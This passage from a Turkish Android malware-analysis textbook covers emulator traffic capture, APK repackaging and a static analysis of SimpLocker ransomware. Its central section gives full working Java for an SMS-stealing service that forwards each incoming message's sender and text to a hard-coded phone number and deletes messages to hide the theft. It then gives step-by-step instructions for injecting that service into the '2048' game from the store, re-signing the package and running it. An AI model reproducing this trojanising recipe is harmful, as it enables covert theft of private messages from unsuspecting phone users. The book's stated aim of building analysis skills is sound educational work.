yüklediğimiz dizine gidilir. “ls -l tcpdump” komutunu uygulayarak yüklemiş olduğumuz tcpdump
binary dosyasında executable (yürütme) izninin olmadığı gözlemlenir.
“chmod 755 tcpdump” komutu ile tcpdump programına execute yetkisi verilir.
Executable olan tcpdump dosyası artık çalıştırılabilir. Bunun için şu komut kullanılır.;
./tcpdump -v -s 0 -w packets.pcap
Eğer yukarıdaki gibi değil de aşağıdaki gibi bir çıktı alırsanız bu durum kurmuş olduğunuz tcpdump
binary dosyasının yanlış olduğu gösterir.
İlgili dosyayının doğrusunu yeniden kurabilir ya da Genymotion veya Android Studio ile gelen
Busybox aracını kullanarak tcpdump programını başlatabilirsiniz.
79. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Android Studio ile Tcpdump
Emulator ekranı terminal üzerinden çalıştırılırken “-tcpdump output.cap” komutu eklenir.
Genymotion ile Tcpdump
Genymotion emulatoru çalıştırıldıktan sonra shell alınarak “cd /system/xbin” komutu ile xbin
dizinine gidilir. “./tcpdump” komutu ile tcpdump aracı çalıştırılır.
Uygulama
- “./emulator -tcpdump emulator.cap -avd BGAEmulator” komutu ile android emulator
çalıştırılır.
- Cihazın çalışması Ctrl+c tuş kombinasyonu ile sonlandırılır.
- Oluşturulmuş olan emulator.cap dosyası “wireshark emulator.cap” komutu ile açılılır.
- Cihazın kurmuş olduğu network bağlantıları wireshark kullanılarak analiz edilir.
- Statik analiz aşamasında incelediğimiz ama çalıştırmadığımız meterpreter.apk uygulamasına
basılarak ADM’daki network trafiğindeki hareketlilik görüntülenebilir.
80. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
- Aşağıda verilen ekran görüntüsünde logcat ekranı “adb shell logcat” komutu ile incelenmiş
ve kurulmaya çalışılan bağlantı “Can’t connect” hatası ile defalarca tekrarlamıştır.
- Droidbox uygulaması ile uygulamanın cihaz üzerinde ne gibi değişiklikler yaptığı ve log
kayıtları görüntülenebilir.
81. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Tersine Mühendislik Teknikleri İle Uygulama İçeriğini
Değiştirme
Bu bölümde mağazadan seçilen bir uygulamanın işleyişindeki yapıların değiştirilmesi üzerinde
durulacaktır.
● https://apkpure.com/batak-hd/com.alper.batak.hd
adresinden “Download APK” butonuna tıklanarak batak uygulaması indirilebilir.
İndirilen uygulama, apktool programı yardımıyla debug edilir.
java -jar apktool_2.2.4.jar d Batak HD_v39.0_apkpure.com.apk
Decompiler edilmiş dizin içerisinde;
● /Batak HD_v39.0_apkpure.com/assets/assets/gfx/kartlar/
82. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
dizinine gidilir. Burada “assets” dizini uygulama içerisinde kullanılan kaynakları, resim müzik gibi
dosyaları barındıran dizindir.
Değiştirmek istediğimiz kart resimleri silinerek yerine aynı isimde farklı resim dosyaları eklenir. Şekil
üzerinde “sinek_5.png” resim dosyası silinerek yerine gerçek bir sinek resmi aynı isimle eklenmiştir.
83. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Uygulama Apktool programı ile tekrar derlenir.
Oluşturulmuş “yeniapk.apk” adlı dosyanın çalıştırılabilmesi için imzalanması gerekmektedir. Bunun
için;
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -
validity 10000
komutuyla yeni bir imza oluşturabileceğiniz gibi daha önceden oluşturmuş olduğumuz imzayı bu
uygulama içinde kullanabilirsiniz. Bunun için;
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore
yeniapk.apk alias_name
komutunu kullanabilirsiniz. İmzalanmış olan apk dosyası sürükle bırak ya da adb programı
kullanılarak Android Emulatore aktarılır ve çalıştırılır.
85. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Şekilde görüldüğü gibi destemizde sinek resmi sinek5 yerine kullanılmaktadır.
Oyun müziklerini değiştirmek için gidilmesi gerekilen dizin;
/Batak HD_v39.0_apkpure.com/assets/assets/gfx/sounds/
Bütün uygulamalar için istenilen değişikliklerin yapabileceğini, ancak yeniden imzalanmış olan
uygulamaların orijinal imzasından farklı olduğu için güncelleme almayacağı bilinmelidir.
86. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Tersine Mühendislik Teknikleri İle Mevcut Uygulama
İçerisine Zararlı Kod Ekleme
Zararlı kod analizi yeteneklerinin geliştirilmesi ve kötü niyetli kişilerin taşıyıcı uygulamalara nasıl
zararlı kod eklediklerinin açıklanması için bu bölümde mağazadan indirilen bir uygulama içerisine
kötü amaçlı kod eklenerek uygulamayı kötü niyetli bir yazılım haline getirme işlemi gösterilecektir.
Bunun için öncelikle mağazadan taşıyıcı uygulama seçilmelidir. Aşağıda;
● https://apkpure.com/2048/com.dt.game2048
adresinden 2048 adlı uygulama taşıyıcı uygulama olarak seçilerek indirilmiştir.
Daha sonra kullanılacak olan bu uygulama saklanarak zararlı kodun geliştirildiği aşamaya geçilir.
Android Studio programı başlatılarak File/New/New Project yolu izlenerek yeni bir proje oluşturulur.
87. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Uygulama ismi belirlenerek next butonuna tıklanılır ve activity ekranında herhangi bir activity
seçilmeden proje oluşturulur. New/Activity/Basic Activity yolu izlenerek activity oluşturulur.
88. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Activity ayarları “activity name” belirlenerek yapılır.
Oluşturulan activity ekranındaki “onCreate” metodu dışındaki metodlar silinir.
Burada onCreate metodu içerisindeki “view” yani görüntü ile ilgili olan kısımlar kaldırılarak 2 adet
“intent” oluşturulur. Android içerisindeki intent yapısı activityler arası geçişi sağlamak ya da servis
oluşturmak için kullanılır.
89. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Burada izlenmek izlenen yol şöyledir;
- Oluşturulan yeni proje içerisinde görüntü kısımları barındırmadan, 2 adet intent oluşturulur.
- Bu intentlerden ilki arka planda çalışacak olan zararlı kodu temsil ederken, diğer intent
taşıyıcı uygulamamızı başlatacak olan kısımdır.
Yani program çalıştırıldığında ilk olarak zararlı uygulamanın bulunduğu kısım, daha sonra 2048
uygulamasının başlatılması amaçlanmaktadır.
İlk intent şu şekilde oluşturulur:
Intent intent = new Intent(this, MucoService.class);
startService(intent);
Buradaki “MucoService.class” dosyası oluşturmak istediğimiz servisin kendimizin belirlediği ismidir.
Arka planda çalışacak olan zararlı servisi temsil eder.
Oluşturulacak olan ikinci intent şu şekilde oluşturulur:
Intent intent2 = new Intent(getApplicationContext(), “GONDERILMEK-ISTENEN-ACTIVITY”.class);
startActivity(intent2);
Buradaki “GONDERILMEK-ISTENEN-ACTIVITY.class” dosyası bizim taşıyıcı uygulamamızdaki ilk
activitydir. Uygulama hiyerarşisinde başlangıç uygulamamız olan zararlı uygulama, taşıyıcı
uygulamanın başlamasını sağlayacağından buradaki geçişin sağlanacağı activity taşıyıcı
uygulamamızın ilk activity’sidir.
Peki taşıyıcı uygulamamızın ilk activity’si nedir?
Bu sorunun cevabını bulmak için indirmiş olduğumuz 2048 uygulamamızın “manifest” dosyasına ya
da öğrenmiş olduğumuz statik analiz programlarından herhangi birini kullanabiliriz.
Aşağıdaki ekran görüntüsünde görüldüğü üzere Apktool programı ile 2048 uygulaması decompiler
edilmiştir.
90. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
İlgili manifest dosyası metin editörü kullanılarak açılır.
“@string/app_name” kısmında seçili alanda uygulamanın ilk activity isminin
“com.dt.game2048.MainActivity” olduğu görülmektedir.
İkinci intent yapımız 2048 uygulamasının main activitysi olacak şekilde düzenlenir.
BGAActivity.java dosyası içerisindeki ilgili kod şu şekildedir:
package com.example.m3o.bga_sms;
import android.content.Intent;
import android.os.Bundle;
import android.support.design.widget.FloatingActionButton;
import android.support.design.widget.Snackbar;
91. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.Toolbar;
import android.view.View;
public class BGAActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = new Intent(this, MucoService.class);
startService(intent);
Intent intent2 = new Intent(getApplicationContext(), com.dt.game2048.MainActivity.class);
startActivity(intent2);
}
}
Ardından apk dosyasını smali kodlarına çevrilecek. Apk dosyası “MainActivity” adlı classı
başlatabilmek için zararlı kod içeren kısımda bulunması gereken MaincActivity kısmını
oluşturmaktadır. Zararlı uygulamada bir MainActivity oluşturarak bir MainActivity içerdiği bilgisiyle
derlenmesini sağlanır Böylelikle taşıyıcı uygulamadaki MainActivity classı çağırabilir.
Bunun için File/New yolu izlenerek yeni bir Java classı oluşturulur.
92. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Paket ismi olarak 2048 uygulamasının paket ismi yazılır ve Activity classından extend edilir.
MainActivity classı oluşturulduktan sonra sıradaki işlem zararlı kodumuzu çalıştıracak olan “service”
kısmını tanımlamaktadır. Üçüncü classımız olan service classını başlatmak için File/New/Service yolu
izlenir.
93. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Burada dikkat edilmesi gereken nokta oluşturulan servise verilen ismin servise “BGAActivity.java”
classında oluşturulan servise verilen isimle aynı olmasıdır. Çünkü bu servis BGAActivity.java dosyası
için oluşturalacak bir servistir.
Service dosyasının içerisine arka planda yapılması istenilen zararlı kod kısmı yazılır.
94. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
İlgili uygulamadaki MucoService.java dosyası şu şekildedir:
package com.example.m3o.bga_sms;
import android.app.Service;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.os.IBinder;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
public class MucoService extends Service {
public MucoService() {
}
private static final String ACTION="android.provider.Telephony.SMS_RECEIVED";
private BroadcastReceiver rreceiver;
final SmsManager sms = SmsManager.getDefault();
final SmsManager sms2 = SmsManager.getDefault();
@Override
95. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
public void onCreate() {
super.onCreate();
final IntentFilter theFilter = new IntentFilter();
theFilter.addAction(ACTION);
this.rreceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
final Bundle bundle = intent.getExtras();
final Object[] pdusObj = (Object[]) bundle.get("pdus");
for (int i = 0; i < pdusObj.length; i++) {
SmsMessage mesaj = SmsMessage.createFromPdu((byte[]) pdusObj[i]);
String gonderenTelefon = mesaj.getDisplayOriginatingAddress();
String calinanMesaj = gonderenTelefon.concat(" : ");
calinanMesaj += mesaj.getDisplayMessageBody();
sms2.sendTextMessage("+90538515XXXX", null, calinanMesaj, null, null);
Uri deleteUri = Uri.parse("content://sms");
int count = 0;
Cursor c = context.getContentResolver().query(deleteUri, null, null,
null, null);
while (c.moveToNext()) {
try {
// Delete the SMS
String pid = c.getString(0); // Get id;
String uri = "content://sms/" + pid;
count = context.getContentResolver().delete(Uri.parse(uri),
null, null);
} catch (Exception e) {
}
}
}
}
};
this.registerReceiver(this.rreceiver, theFilter);
}
@Override
public void onDestroy() {
super.onDestroy();
this.unregisterReceiver(this.rreceiver);
}
96. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
@Override
public IBinder onBind(Intent arg0) {
return null;
}
}
Yukarıda verilen Java kodunu açıklayacak olursak;
- Öncelikli olarak APP COMPONENST başlığı altında bahsedilmiş olan receiver yapısından bir
receiver tanımlanmıştır. Böylelikle broadcast yayınlardan uygulamanın haberi olacaktır.
- Daha sonra uygulamanın bulunduğu telefona gelen mesajın kimden geldiğini
“gönderenTelefon” adlı stringe kaydetmektedir.
- “gönderenTelefon” stringi içerisindeki veriyi “calınanMesaj” adlı stringe concat metodu ile
yazmaktadır.
- “getDisplayMessageBody()” metodu ile mesaj içeriği alınmakta ve bu gelen mesajın kimden
geldiği bilgisinin yanına eklenmektedir.
- Bu bilgilerin gönderileceği telefon numarası belirlenerek ilgili işlem yapılmaktadır.
- Kullanıcının durumun farkına varmaması için gönderilmiş olan mesajlar silinmektedir. Ancak
bu kısım Android 4 öncesi cihazlar için geçerlidir. Bu izne uygulamalar varsayılan SMS
uygulaması olmadığı sürece artık sahip değildir.
97. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
- Son olarak kodun başına kullanılan telefonun izni eklenmektedir.
Uygulamanın kod geliştirme kısmı sona erdikten sonra “Manifest” dosyasına ilgili izinler ve kullanılan
service ve ilgili activity sonrası çalıştırılacak olan 2048 uygulamasının MainActivity kısmı gibi bilgiler
yazılmaktadır.
İlgili uygulamadaki Manifest dosyası ise şu şekildedir:
Artık zararlı uygulamanın kendi başına çalışıp çalışmadığı test edilebilir. “Run” butonuna tıklanılarak
direk cihaz üzerinde başlatılabileceği gibi “Build- Build Apk” seçeneği ile apk dosyası oluşturularak da
kullanılabilir.
98. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Şekildeki gibi oluşturulan uygulama bulunduğu cihazda çalıştırılır ve arka plana atılır. Uygulamanın
bulunduğu cihaza 2 adet mesaj gönderilir ve gelen kutusunda mesajlar gözlemlenir.
Zararlının bulunduğu telefondaki gelen kutusuna ait ekran görüntüsü aşağıdaki gibidir.
Uygulamanın bulunduğu telefona bu mesajlar gelirken aynı zamanda uygulamanın bulunduğu
telefonun giden kutusunda zararlı yazılımın gönderdiği mesaj gözlemlenir. Zararlının bulunduğu
telefondaki giden kutusuna ait ekran görüntüsü ise aşağıdaki gibidir.
Kod içerisinde zararlı yazılımın mesaj gönderdiği telefonda ise zararlı uygulamanın bulunduğu
telefona gelen mesajın kimden geldiği ve hangi içeriğe sahip olduğu bilgisi bulunmaktadır.
Zararlının mesaj gönderdiği telefona ait ekran görüntüsü aşağıda verilmiştir.
Zararlı uygulamamız gerçek bir cihazda çalışmakta ve başarılı bir şekilde gelen mesajların ne
olduğunu ve mesajı kimin gönderdiği bilgisini kod içerisinde belirlediğimiz telefona göndermektedir.
99. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Uygulamayı gerçek bir cihazda test etme fırsatı bulamayanlar için Android Emulatör kullanarak nasıl
test edileceği şu şekilde özetlenir:
- ~/Android/Sdk/tools dizini altında “./emulator -avd BGAEmulator” komutu ile Android
Emulatör başlatılır.
- Oluşturulan apk dosyası sürükle bırak ile ya da adb kullanılarak cihaza yüklenir.
- Çalıştırılan uygulama şekildeki gibi arka plana alınır.
- Sıradaki işlem emulatörde mesaj yollama işlemidir. Bunun için terminal ekranından telnet
bağlantısı gerçekleştirilmelidir.
telnet localhost 5554
- auth token değerini oluşturmak için aşağıdaki parametre girilmelidir.
auth auth_token
- “home” dizininde oluşmuş olan token parametresini “cat .emulator_console_auth_token”
paremetresi ile alınır.
100. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
- Daha sonra telnet ekranına auth paremetresi “auth CATEDİLMİŞDEGER” şeklinde girilir.
- Son olarak göndermek istenilen mesaj “sms send gönderennumarası mesaj” şeklinde girilir.
Sanal android cihaz kontrol edildiğinde gelen mesajı gelen kutusunda “gelen mesaj numarası” ve
“mesaj içeriği bilgisii giden kutusunda kod içerisinde yazılan numaraya gitmiş şekilde görülecektir.
Uygulamaları Birleştirme
Oluşturulan zararlı uygulamayı taşıyıcı olarak 2048 uygulamasıyla birleştirme aşaması şu adımlarla
gerçekleştirilir.;
- apktool programı kullanılarak oluşturulmuş olan zararlı yazılımın apk dosyası decompiler
edilir.
- “/app-debug/smali/com/example/m3o/” dizini altındaki bga_sms adındaki smali dosyaları
alınarak taşıyıcı uygulamanın smali dizinine eklenir.
- Son olarak 2048 adındaki taşıyıcı uygulamanın manifest dosyası düzenlenerek başlangıç
activitysini 2048 uygulamasının main activitysinden zararlı uygulamanın activitysi haline
101. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
getirilir. Ayrıca SMS mesajları için gerekli olan izinler verilir ve zararlı uygulamada kullanılan
service bilgisi eklenir.
- Taşıyıcı uygulama olan 2048 uygulaması Apktool aracı kullanılarak tekrar derlenir.
- Oluşturulan yeni.apk adındaki apk dosyası imzalanır.
İmza oluşturmak için;
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -
validity 10000
komutu kullanılabilirken daha önceden oluşturulmuş imza ile uygulamayı imzalamak için;
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore
yeni.apk alias_name
komutu kullanılmaktadır.
102. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Emulatöre atılan cihazın çalışıp çalışmadığı ve üzerinde sahip olduğu izinler kontrol edilir.
103. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Gerçek Hayattan Zararlı Yazılım Analizi Uygulama
Örnekleri
Bu bölümde etkisini gerçek dünyada büyük çapta gösteren SimpLocker Ransomware(Fidye)
yazılımından bahsedeceğiz.
SimpLocker
İlk olarak fd694cf5ca1dd4967ad6e8c67241114c hash değerine sahip olan Simplocker - Android
Ransomware-fd694cf5ca1dd4967ad6e8c67241114c.apk isimli dosyanın genymotion emulatorüne
yüklenip yüklenmediği, böylelikle gerçek bir uygulama olup olmadığı kontrol edilir.
ARM code parçasına sahip olan apk dosyası yüklenmeye çalışıldığında şekildeki gibi bir hata mesajı ile
karşılaşılmaktadır.
Bu sorunu çözmek için;
● https://dl.dropboxusercontent.com/content_link/chOR6azzI6bTYVX3ieaLnnAEdkn8O4OnFW
Sjhv7UOAgQ56Fwjqm3aNalYGVP73Mv/file?dl=1
adresinden ya da internetten;
● genymotion-arm-translation_v1.1.zip download
104. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
arama anahtarıyla internet üzerinden herhangi bir yerden indirilebilen zip dosyası sürükle bırak
yapılarak Genymotiona aktarılır.
Gelen seçenek onaylanarak ARM translation tool Genymotion Emulatorüne aktarılır. Genymotion’ın
yeniden başlatılması ile uygulamamız sürükle bırak yapılarak tekrar cihaza yüklenir.
Yukarıda verilen ekran görüntüsüne sahip olan uygulama çalıştırılır. Karşımıza aşağıdaki gibi bi ekran
çıkmaktadır.
Artık uygulamayı kapatmaya çalışsak dahi kapanmayarak, arka plana atıldıktan birkaç saniye sonra
tekrar ekrana çıkmaktadır.
Simplocker uygulaması 2014 yılında ortaya çıkan, kullanıcının SD karttaki verilerini şifreleyerek
orjinallerini silen ve bunun üzerine kullanıcıdan para isteyen “ransomware” adı verilen bir zararlı
yazılım türüdür.
105. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Peki neden cihazın tamamı değil de sadece SD kart sorusuna gelirsek, “neden telefon üzerinde root
olmamalıyız” konusunda bahsedilen bilgiler eşiğinde, SD kartın Root hakları olmadan herkes
tarafından okunan ve yazılan bir alan iken, telefon hafızasının herkes tarafından okunma yetkisine
sahip olmadığı, üzerinde çalışan uygulamaların sadece kendi alanlarına müdahale edebildiği
hatırlanmalıdır.
Ekrana basılı olan mesajın Türkçesi şu şekildedir:
“UYARI telefonunuz kilitlenmiştir!
Bu cihaz *** izleme ve dağıtımının yapılması, hayvanlarla *** ilişki içerikleri ve bunun gibi diğer
sapkınlıkların yapılması sebebiyle kilitlenmiştir.
Cihazınızın kilidini açmak için 260 UAH ödemelisiniz. (Yaklaşık 30 Dolar/105 Türk Lirasına dek geliyor)
1- En yakın ödeme kulübesine gidiniz.
2- MoneXy seçeneğini seçin.
3- {REDACTED} tuşuna basın
4- 260 Hryvnia parasını yazın ve ödeme tuşuna basın.
Fiş almayı unutmayın!
Ödeme sonunda cihazınız 24 saat içinde açılacaktır.
EĞER ÖDEME YAPMAZSANIZ CİHAZ ÜZERİNDEKİ BÜTÜN VERİLERİNİZ KAYBOLUR!”
Simplocker Statik Analiz
Bu aşamada uygulamanın statik yani çalışır durumda olmadığı durumdaki analizi yapılmaya başlanır.
Uygulama hakkında fikir sahibi olmak ve obfuscated bir koda sahip değilse kodun analizini yaparak
apk hakkında bilgi sahibi olmak bu aşamadaki asıl amaçtır.
İlk olarak zararlı analizi yapan kişilerden bile öte her bilgisayar kullanıcısının uygulamalarının
güvenilirliğini test ettiği “VirusTotal” adlı siteye apk dosyasının gerçek bir zararlı yazılım mı değil mi
düşüncesinin önüne geçmek için yüklenir. Upload and scan file butonuna tıklanılarak uygulama
seçilir ve analiz edilmesi için siteye gönderilir.
106. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
61 antivirüs programı içerisinde 41 tanesinin bu apk dosyasını virüs olarak tanımladığı gözlemlenir ve
gerçek bir zararlı yazılım üzerinde analiz yaptığımız sonucuna ulaşılır.
Androguard programı kullanılarak “Manifest” dosyasındaki uygulamanın kullanmak istediği izinler
listelenir.
107. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Manifest dosyasını daha ayrıntılı incelemek için Androguard programı içerisinde yer alan androaxml
programı ile manifest dosyası çıkartılır.
Çıkartılan output.xml dosyası metin editörü kullanılarak açılır.
Şimdi Manifest dosyası içerisinde yer alan, “Tersine Mühendislik Teknikleri İle Mevcut Uygulama
İçerisine Zararlı Kod Ekleme” konu başlığında da üzerinde çokça durulan bu manifest dosyasındaki bu
yazıları yorumlayalım.
Zararlı kodun main activity kısmının oluşturulduğu ve ekrana hata mesajının bastırıldığı kısım olabilir.
Bir önceki konumuz olan zararlı yazılım geliştirme aşamasında view oluşturmadan sadece arka
108. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
planda çalışacak bir servis yazarak tamamladığımız bu kısım bu yazılımda ekrana bir hata mesajı
basan bir view ve arka planda çalışan servisleri başlatan yapı olarak dikkat çekmektedir.
Telefon boot edildiğinde, yani yeniden başlatıldığında başlayacak olan bir servisi tanımlar. Servisin
arka planda çalışan bir app component olduğunu hatırlanmalıdır. Cihazı kapat aç yaptıktan sonra
uygulamanın çalışarak “Cihazınız Kilitlendi” metnini ekrana basmasını sağlayan yapı olabilir.
SDCardServiceStarter isminden de yorumlayabileceğimiz gibi SD kart üzerinde yapılan işlemlerin
tanımlı olduğu arka planda çalışan bir servis olma ihtimali çok yüksektir. Büyük ihtimal arka planda
SD karttaki dosyaların encrypt(şifreleme) işlemlerinin yapıldığı kısmın tanımlandığı servis yapısıdır.
Son olarak “.MainService” adında çağrılan bir servis dikkatimizi çekmektedir. Servis olduğu için arka
planda çalışan bu yapı “org.torproject.android.service.TorService” isminde Tor servisi çağırmaktadır.
MainService isminden dolayı önemli görevi bulunduğu düşündüğümüz bu servis Tor yapısı ile
anonymous yani kişinin bilinmezliğini sağlamaktadır. Şifrelenmiş uygulamaların açılmasını sağlamak
için uzaktan kurulacak iletişimi sağlayan yapı olma ihtimali Tor yapısından dolayı kuvvetle
muhtemeldir. Ama tahminden öte değildir. Belkide böyle bir yapı yoktur ve ödeme yapsanız dahi
şifrelenmiş dosyalarınız açılmayacaktır. Manifest dosyasından yorumlayamayacak bu yapı statik kod
analizi yaparak derinden incelenecektir.
Androguard ile paket ismi, aktivity isimleri, uygulama adı gibi bilgilere bakılır.
109. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Daha sonra uygulama içerisindeki string değerleri “d.get_strings()” komutu ile incelenerek statik
analizin bir sonraki kısmı olan statik kod analizine geçilir.
dex2jar dizini altında;
./d2j-dex2jar.sh Simplocker - Android Ransomware-fd694cf5ca1dd4967ad6e8c67241114c.apk
komutu ile dex kodları java jar binary dosyalarına çevrilir.
Oluşturulan jar dosyası java kodlarına decompiler edilmesi için JD-GUI programına sürükle bırak
yapılır.
110. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Class yapıları şekildeki gibi gözlemlenir. İlk olarak dikkat edilecek nokta obfuscation kullanılıp
kullanılmadığıdır. Obfuscation konusunda öğrenildiği üzere R.class yapısının burada yer alması ve
anlamlı class isimleri barındırması sayesinde uygulamada obfuscation kullanılmadığı
gözlemlenmektedir. Bu durum analiz yapmamızı ve kodu yorumlamamızı kolaylaştıracaktır.
İlk olarak main.class’ımız incelenir. Main.class dosyasının görünüşü şu şekildedir.
Zararlı yazılım geliştirme uygulamamızda yapıldığı gibi “Oncreate” metodu içerisinde bir adet servis
çağrılmıştır. Yapılan uygulamadan farklı olarak bu uygulamada bir adet view, setContentView
metodu ile tanımlanmıştır.
111. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
MainServiceStart adında bir adet intent ve Mainservice adında bir adet servis tanımlayarak
startService metodu ile servisi başlatmaktadır.
Bu kısımda ise uygulama geri tuşuna basılarak kapatılsa dahi “true” dönerek hata mesajının tekrar
ekrana basılmasına neden olan kısımdır.
Sırada incelenecek olan class MainService.class’ıdır.
Mainservice.class servis classı içerisinde StartService metodu ile TOR_SERVICE başlatıldığı
gözlemlenmektedir.
112. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Biraz daha aşağıya inildiğinde FilesEncryptor classından encrypt metodunun çağrıldığı
gözlemlenmektedir.
SDCardServiceStarter.class ı incelendiğinde MainService çalıştığı durumda çalıştırılan bir servis
olduğu gözlemlenir.
Şimdiye kadar incelediğimiz kısmı özet geçmemiz gerekirse;
- Main.class’ı ekrana bir uyarı mesajı basıyor ve MainService oluşturuyor.
- MainService.class servis class’ı TorServisi ve FilesEncryptor classını encrypt metodu ile
çağırıyor.
- SDCardServiceStarter.class’ı MainServise çalıştıktan sonra isRunning True döndüğü sürece
çalışan diğer servisimiz oluyor.
Sırada FilesEncryptor classı analiz edilecektir. Aşağıda verilen kodda cihaza bağlı mount edilmiş bir SD
kart olup olmadığı bilgisine bakılmaktadır.
GetFileNames metodu ile SD kart içerisindeki dosya isimleri alınmaktadır ve bir array(dizi) yapısı
içerisinde tutulmaktadır.
113. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Son olarak encrypt metodu incelenecektir. Eğer mount edilmiş bir SD kart varsa AesCrypt classından
“jndlasf074hr” anahtarı ile bir obje oluşturarak dosyaları şifrelemektedir. Son olarak “.enc” uzantısı
ile dosya isimlerini değiştirmektedir.
Son kısmı özetlemek gerekirse FilesEncryptor class’ı SD kart olup olmadığına bakıyor ve varsa dosya
isimlerini bir diziye atarak listeliyor. AesCrypt class’ı içerisindeki encrypt metodunu “jndlasf074hr”
anahtarıyla çağırarak dosyaları şifreliyor ve son olarak uzantılarının sonuna “.enc” ekliyor.
114. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Sıradaki işlemde TorSender.class’ı incelenecektir. Proxy oluşturmak için tanımlanacak localhost ve
çıkış yapılacak port numarası belirlenmiştir.
Telefona ait IMEI numarası Utils classı içerisindeki getOutIMEI metodu ile alınmaktadır.
IMEI, OS, phone model ve manufacture bilgilerinin TorSender class’ına nasıl alındığını incelemek için
Utils.class dosyası incelenir.
GetIMEI ve getModel metodları kullanılarak telefona ait bilgilerin string içerisine alındığı
gözlemlenir.
115. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Son kısmı özetlemek gerekirse TorSender.class’ı içerisinde Utils.class’ı içerisindeki fonksiyonun
çağrıldığı gözlemlenmiştir. Utils.class’ı içerisinde ise telefona ait bilgilerin tespit edilip string
değerinde tutulduğu fonksiyonların bulunduğu gözlemlenir.
İncelenecek bir sonraki class yapımız ise HTTPSender classıdır. Sunucu ile iletişimin yapıldığı bu class
incelenir. Şekil üzerinde proxy detayları gözlemlenmektedir.
Şekil üzerinde onion uzantılı “http://xeyocsu7fu2vjhxs.onion/” URL adresine bağlantı kurulduğu
gözlemlenmektedir.
Class içerisinde incelenecek olan son yapı olan kısımda ise eğer server tarafından stop komutu
gelirse FilesEncryptor içerisindeki decrypt metodunu çağırmaktadır.
116. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Daha önce bahsedilmemiş olan FilesEncryptor classı içerisindeki decrypt metodu şu şekilde
gözükmektedir.
Encrypt yaparken kullanılan “jndlasf074hr” anahtarı ile aynı anahtarı kullanarak decrypt
yapmaktadır. AES simetrik bir şifreleme algoritması olduğu için encrypt yaparken de decrypt
yaparken de aynı anahtarı kullanmaktadır.
İncelenecek olan son class Constants.class adlı constant değerleri tutan classdır.
ADMIN_URL, CIPHER_PASSWORD gibi string değerlerini tutan constant dosyası encrypt yapılacak
dosya formatlarını da EXTENSIONS_TO_ECRYPT adlı array içerisinde “jpeg, jpg, png, gif, pdf, doc vb”
gibi göstermektedir.
Uygulamanın statik analizi tamamlanmış ve kodun işleyişi hakkında bilgiler edinilmiştir. Yorumlanmış
